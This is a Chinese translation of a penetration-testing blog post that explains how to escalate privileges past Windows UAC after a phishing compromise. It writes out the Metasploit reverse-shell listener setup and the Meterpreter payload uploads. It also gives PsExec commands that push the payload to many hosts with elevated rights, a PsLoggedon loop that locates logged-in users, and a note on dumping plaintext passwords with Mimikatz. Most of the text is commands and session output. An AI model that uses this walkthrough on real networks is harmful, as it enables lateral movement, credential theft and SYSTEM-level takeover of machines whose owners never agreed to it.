[译]PsExec绕过UAC

原文地址: http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass

注意:本例可以通过metasploit中exploit/windows/local/current_user_psexec模块解决。


场景:
我们成功通过钓鱼欺骗一个用户点击恶意文件,然后我们获得一个shell。开启反向shell:
引用
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lport 53
msf exploit(handler) > set lhost my_ip_address
msf exploit(handler) > set exitonsession false
msf exploit(handler) > exploit -j -z

通过设置ExitOnSession为false来让connection保持连接(即使一个连接退出,仍然保持listening状态)。当设置ExitOnSession时,exploit命令必须使用-j(作为job开始运行)和-z(不立即进行session交换--也即是自动后台运行)。
一会儿,有人被骗点击链接了,从而我们获得一个shell,但是有一个问题--我们的Meterpreter运行在一个没有提权的token中。所以getsystem,hashdump,以及其他类似的命令都会得到一个“Access Denied”信息。我们的目标安装了所以补丁。当然普通权限的user很有用,但是system级别权限的user会更有用。
攻击:
PsExec提供一个-h选项,他可以使用高权限(如果可能的话)来在远端主机上执行特定可执行文件。这意味着我们可以上传PsExec,然后使用它通过高权限来在其他主机上运行命令。可惜的是,我们不能用PsExec来对PsExec所在的机器来进行类似的操作(例如不可以在127.0.0.1)。但是,我们可以在目标环境中在另一台机器上进行跳转,获得高权限,然后在跳转到其他地方,甚至最终跳转到我们的起始点。
首先我们需要上传PsExec到目标机,叫做Box0,它是最初的突破点。我们同时需要上传一个meterpreter payload到Box0.我们将会这些文件来找到一个我们可以认证为高级权限的系统。命令:
引用

meterpreter > upload /my/local/path/to/metr.exe \\users\\MrClickHappy\\metr.exe meterpreter > upload /my/local/path/to/PsExec.exe \\users\\MrClickHappy\\PsExec.exe meterpreter > upload /my/local/path/to/targets.txt \\users\\MrClickHappy\\targets.txt
meterpreter > shell
Process 3052 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\MrClickHappy> PsExec.exe @targets.txt -accepteula -c -f -h -d metr.exe

命令使用现有user的口令来把Meterpreter payload上传到远端主机(-c),如果已存在该文件,那么覆盖(-f),使用提权权限运行(-h),不等进行终止(-d),禁止EULA(-accepteula)。目标列表通过(@)提供,这样命令将会持续运行。
因为我们没有密码或hash,所以不能使用Meterpreter PsExec模块。幸运的是,Windows最终通过PsExec.exe将我们现有的user口令传递到远端主机。并且允许我们通过提权口令运行Meterpretershell,远端主机定义在我们target.txt中。更好的是,新的shell是一个高权限的 shell(假如user有该权限)。并且在新的目标中我们不需要处理UAC。
假如我们欺骗的user拥有Box1的管理员权限。通过在Box上运行之前买的命令我们可以在Box1上运行psexec指定的命令,一个新的Meterpreter session将会连接到我们的listener上。
引用
  • Sending stage (751104 bytes) to Box1_ip
  • Meterpreter session 1 opened (my_ip:5555 -> Box1_ip:49160) at 2013-03-30 15:30:03 -0500
  • msf> sessions -i 1
    meterpreter > getsystem
    ...got system (via technique 1).

    这时,我们在Box0上有一个低权限的shell和在Box1上有一个高级权限的shell,两者都是用相同的user口令。这时在Box1上可以运行需要system权限的命令了,例如hashdump。但是仍然有一个小问题。
    如果我们想以一个高权限回到我们最初的机器上,我们不能在Box1上使用pass-thru认证,因为"double-hop"问题。详细介绍 http://support.microsoft.com/default.aspx?scid=kb;en-us;329986在我们的例子中,第一hop是从Box0到Box1,第二hop是从Box1到任何主机(包含Box0).远程认证SMB需要一个主token(primary token),所以Box1系统必须知道客户端的密码来把主token(primary token)传递到某个地方(例如Box0).因为Box1只有一个辅助token(secondary token),所以使用NTAUTHORITY\ANONYMOUS账户口令,这样一个session就不会建立。
    如果我们希望在我们原来的机器上提权,我们需要另一个系统,在这个系统上我们的目标user运行主token(primary token)。要找到这种user,我们需要使用另一个PsTool工具-PsLoggenon.ext。
    PsLoggedon不支持node列表,所以我们需要使用Windows cmd.exe命令来封装。下面的命令将会遍历一组目标系统来查询我们的目标user当前登录的系统。同时也会使用pass-thru来传递一个user口令。
    引用
    C:\> for /F %i in (targets.txt) do @PsLoggedon.exe \\%i 2>NUL | find "MrClickHappy" >NUL && echo %i
    Box13
    Box37

    现在Box13可以作为PsExec和Meterpreter payload的目标。一旦建立shell了,可以使用Metasploit Mimikatz模块dump出纯文本口令。这个远程主机同时含有"primary token",所以PsExec可以用来在Box1上获得一个高权限user。
    当然了如果你获得密码了,就可以解决double hop问题了。你只需要一个跳转的主机。
    引用
    C:\> PsExec.exe -u MrClickHappy -p Password1 -h -c -v @targets.txt PsExec.exe \\Box0 -d -s -u MrClickHappy -p Password1 \Users\MrClickHappy\metr.exe

    当找到一个可以认证的主机,它将会copy PsExec.exe可执行文件并且使用它在Box1上运行Meterpreter。这样就会给我们一个system权限的shell。

    猜你喜欢

    转载自j4s0nh4ck.iteye.com/blog/2159925
    UAC